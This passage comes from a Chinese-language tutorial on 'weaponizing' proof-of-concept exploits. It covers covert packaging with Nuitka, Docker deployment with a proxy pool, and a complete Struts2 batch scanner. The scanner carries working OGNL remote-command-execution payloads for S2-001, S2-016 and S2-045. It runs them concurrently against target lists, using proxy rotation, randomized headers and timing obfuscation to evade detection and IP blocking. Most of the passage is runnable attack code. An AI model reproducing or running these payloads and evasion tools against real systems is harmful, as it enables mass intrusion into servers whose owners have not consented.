    --add-data "config.yaml:." \
    --hidden-import aiohttp \
    --hidden-import aiodns \
    --hidden-import cchardet \
    --clean \
    --noconfirm \
    cli.py

# 2. 使用Nuitka编译为C(更隐蔽)
# nuitka --standalone --onefile cli.py

# 3. 生成requirements(用于Docker部署)
pip freeze > requirements.lock

echo "[+] Build complete!"
echo "    Binary: dist/security-toolkit"
echo "    Size: $(du -h dist/security-toolkit | cut -f1)"

6.2 Docker容器化部署

# Dockerfile
FROM python:3.11-slim

LABEL org.opencontainers.image.authors="security-team"
LABEL description="Security Testing Toolkit"

# 安装依赖
RUN apt-get update && apt-get install -y --no-install-recommends \
    curl \
    ca-certificates \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# 复制代码
COPY requirements.lock .
RUN pip install --no-cache-dir -r requirements.lock

COPY . .

# 用户权限
RUN useradd -m -s /bin/bash scanner && chown -R scanner:scanner /app
USER scanner

ENTRYPOINT ["python", "-m", "security_toolkit.cli"]
CMD ["--help"]
# docker-compose.yml
version: '3.8'

services:
  scanner:
    build: .
    volumes:
      - ./payloads:/app/payloads:ro
      - ./results:/app/results
      - ./config.yaml:/app/config.yaml:ro
    environment:
      - PROXY_POOL_URL=http://proxy-manager:8080/api/proxies
      - LOG_LEVEL=INFO
    networks:
      - scan-net
    restart: unless-stopped

  proxy-manager:
    image: your-registry/proxy-pool:latest
    ports:
      - "8080:8080"
    volumes:
      - ./proxy_data:/data

networks:
  scan-net:
    driver: bridge

七、完整实战:Struts2漏洞批量检测工具

#!/usr/bin/env python3
"""
Struts2 S2-xxx 批量检测与利用工具
整合了本文所有技术:POC规范、EXP框架、并发、代理池、反检测
"""
import asyncio
import aiohttp
import argparse
import json
import logging
import random
import time
from typing import List, Optional
from pathlib import Path
from urllib.parse import urljoin

# 导入前文定义的组件
from proxy_pool import ProxyPool
from anti_detection import generate_random_headers, TimingObfuscator

logger = logging.getLogger(__name__)

class Struts2Scanner:
    """Struts2漏洞批量扫描器"""
    
    # S2漏洞检测Payloads
    DETECTION_PAYLOADS = {
        "S2-001": {
            "path": "/login.action",
            "payload": "%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'id'})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}",
            "param": "username"
        },
        "S2-016": {
            "path": "/",
            "payload": "redirect:${%23out%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23out.println('vulnerable'),%23out.flush(),%23out.close()}",
            "method": "GET",
            "header": None
        },
        "S2-045": {
            "path": "/",
            "payload": "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}",
            "content_type": True
        }
    }
    
    def __init__(self, proxy_pool: ProxyPool = None, concurrency: int = 20):
        self.proxy_pool = proxy_pool
        self.concurrency = concurrency
        self.timing = TimingObfuscator(1.0, 0.3)
        self.results = []
        self.semaphore = asyncio.Semaphore(concurrency)
    
    async def check_single_vuln(self, session: aiohttp.ClientSession,
                               target: str, vuln_name: str, 
                               vuln_config: dict) -> Optional[dict]:
        """检测单个漏洞"""
        try:
            url = urljoin(target, vuln_config["path"])
            headers = generate_random_headers()
            
            if vuln_config.get("content_type"):
                headers["Content-Type"] = vuln_config["payload"]
                # S2-045: 通过Content-Type头发送payload
                async with session.get(
                    url, headers=headers, 
                    timeout=aiohttp.ClientTimeout(total=15)
                ) as resp:
                    text = await resp.text()
                    # 检测回显
                    if "uid=" in text or "root:" in text or "gid=" in text:
                        return {
                            "target": target,
                            "vuln": vuln_name,
                            "evidence": text[:500],
                            "status": "vulnerable"
                        }
            else:
                # 其他漏洞:通过参数发送
                method = vuln_config.get("method", "POST").upper()
                data = {vuln_config.get("param", "data"): vuln_config["payload"]}
                
                if method == "GET":
                    async with session.get(
                        url, params=data, headers=headers,
                        timeout=aiohttp.ClientTimeout(total=15)
                    ) as resp:
                        text = await resp.text()
                        if "vulnerable" in text.lower() or "uid=" in text:
                            return {
                                "target": target,
                                "vuln": vuln_name,
                                "evidence": text[:500],
                                "status": "vulnerable"
                            }
                else:
                    async with session.post(
                        url, data=data, headers=headers,
                        timeout=aiohttp.ClientTimeout(total=15)
                    ) as resp:
                        text = await resp.text()
                        if "uid=" in text or "root:" in text or "vulnerable" in text:
                            return {
                                "target": target,
                                "vuln": vuln_name,
                                "evidence": text[:500],
                                "status": "vulnerable"
                            }
        except asyncio.TimeoutError:
            return {"target": target, "vuln": vuln_name, "status": "timeout"}
        except Exception as e:
            return {"target": target, "vuln": vuln_name, "status": "error", 
                   "error": str(e)[:200]}
        
        return None
    
    async def scan_target(self, session: aiohttp.ClientSession, target: str):
        """扫描单个目标的所有S2漏洞"""
        target = target.rstrip('/')
        if not target.startswith('http'):
            target = f"http://{target}"
        
        # 对每个已知的S2漏洞进行检测
        tasks = []
        for vuln_name, vuln_config in self.DETECTION_PAYLOADS.items():
            # 随机微延迟
            await asyncio.sleep(random.uniform(0.1, 0.3))
            task = self.check_single_vuln(session, target, vuln_name, vuln_config)
            tasks.append(task)
        
        results = await asyncio.gather(*tasks)
        
        for r in results:
            if r and r.get("status") == "vulnerable":
                logger.info(f"[+] {target} - {r['vuln']} found!")
                self.results.append(r)
    
    async def scan_batch(self, targets: List[str]):
        """批量扫描"""
        logger.info(f"Scanning {len(targets)} targets...")
        
        connector = aiohttp.TCPConnector(limit=self.concurrency * 2)
        async with aiohttp.ClientSession(connector=connector) as session:
            tasks = []
            for target in targets:
                task = asyncio.create_task(self.scan_target(session, target))
                tasks.append(task)
            
            # 使用tqdm显示进度
            from tqdm.asyncio import tqdm_asyncio
            await tqdm_asyncio.gather(*tasks, desc="Scanning")
        
        logger.info(f"Scan complete. Found {len(self.results)} vulnerabilities.")
    
    def export_report(self, output_file: str):
        """导出报告"""
        report = {
            "scan_time": time.strftime("%Y-%m-%d %H:%M:%S"),
            "total_targets": len(self.results),
            "findings": self.results
        }
        
        Path(output_file).write_text(
            json.dumps(report, indent=2, ensure_ascii=False)
        )
        logger.info(f"Report saved to {output_file}")


def main():
    parser = argparse.ArgumentParser(description="Struts2 Batch Scanner")
    parser.add_argument("-f", "--file", help="Target list file")
    parser.add_argument("-u", "--url", help="Single target URL")
    parser.add_argument("-t", "--threads", type=int, default=20, 
                       help="Concurrency (default: 20)")
    parser.add_argument("-o", "--output", default="struts2_results.json",
                       help="Output file")
    parser.add_argument("--proxy", help="Proxy URL")
    parser.add_argument("--proxy-file", help="Proxy list file")
    parser.add_argument("-v", "--verbose", action="store_true")
    
    args = parser.parse_args()
    
    if args.verbose:
        logging.basicConfig(level=logging.DEBUG)
    else:
        logging.basicConfig(level=logging.INFO, 
                          format="%(asctime)s [%(levelname)s] %(message)s")
    
    # 加载目标
    targets = []
    if args.file:
        targets = [line.strip() for line in open(args.file) if line.strip()]
    elif args.url:
        targets = [args.url]
    else:
        parser.error("Either -f or -u is required")
    
    # 初始化代理池
    proxy_pool = None
    if args.proxy:
        proxy_pool = ProxyPool(initial_proxies=[args.proxy])
    elif args.proxy_file:
        proxies = [line.strip() for line in open(args.proxy_file) if line.strip()]
        proxy_pool = ProxyPool(initial_proxies=proxies)
    
    # 执行扫描
    scanner = Struts2Scanner(proxy_pool=proxy_pool, concurrency=args.threads)
    asyncio.run(scanner.scan_batch(targets))
    
    # 输出结果
    scanner.export_report(args.output)
    
    # 终端摘要
    print(f"\n{'='*50}")
    print(f"  Scan Summary")
    print(f"  Targets: {len(targets)}")
    print(f"  Vulnerabilities found: {len(scanner.results)}")
    print(f"  Output: {args.output}")
    print(f"{'='*50}")

if __name__ == "__main__":
    main()

八、总结

从POC到武器化是一个系统性的工程过程,核心要点包括:

  1. 规范化POC:统一的输入输出、错误处理、日志记录
  2. 框架化EXP:通过OOP抽象漏洞利用模式,提升代码复用性
  3. 合理的并发模型:根据规模选择asyncio或混合模式
  4. 代理池与反检测:隐匿扫描行为、规避IP封禁
  5. 容器化交付:Docker打包确保环境一致性

一个好的安全工具应该做到:对使用者友好、对目标低冲击、对结果高可靠。希望本文提供的框架和代码能够帮助你将POC快速转化为实战可用的安全工具。